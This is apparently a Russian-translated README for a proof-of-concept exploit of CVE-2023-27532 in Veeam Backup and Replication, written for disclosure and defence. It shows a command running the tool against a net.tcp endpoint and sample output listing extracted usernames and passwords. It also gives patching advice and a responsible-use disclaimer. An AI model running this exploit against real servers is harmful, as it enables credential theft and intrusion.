horizon3ai/cve-2023-27532Эксплойт доказательства концепции для CVE-2023-27532 в Veeam Backup and Replication, использующий незащищённую конечную точку API для извлечения учётных данных из целевой системы.
POC для CVE-2023-27532, затрагивающий Veeam Backup and Replication
Технический анализ первопричины уязвимости можно найти в нашем блоге: https://www.horizon3.ai/veeam-backup-and-replication-cve-2023-27532-deep-dive
Этот POC использует незащищенную конечную точку API для извлечения учетных данных.
/home/dev/RiderProjects/Veeam_CVE-2023-27532/CVE-2023-27532/bin/Debug/net6.0/CVE-2023-27532 net.tcp://192.168.1.139:9401/
UserName = dev Password = Super Secret Password
UserName = root Password =
UserName = root Password =
UserName = root Password =
UserName = root Password =
Обновите до последней версии или примите меры, следуя инструкциям в бюллетене Veeam
Данное программное обеспечение создано исключительно для целей академических исследований и разработки эффективных методов защиты и не предназначено для использования для атак на системы, за исключением случаев, когда это явно разрешено. Сопровождающие проекта не несут ответственности за неправомерное использование программного обеспечения. Используйте ответственно.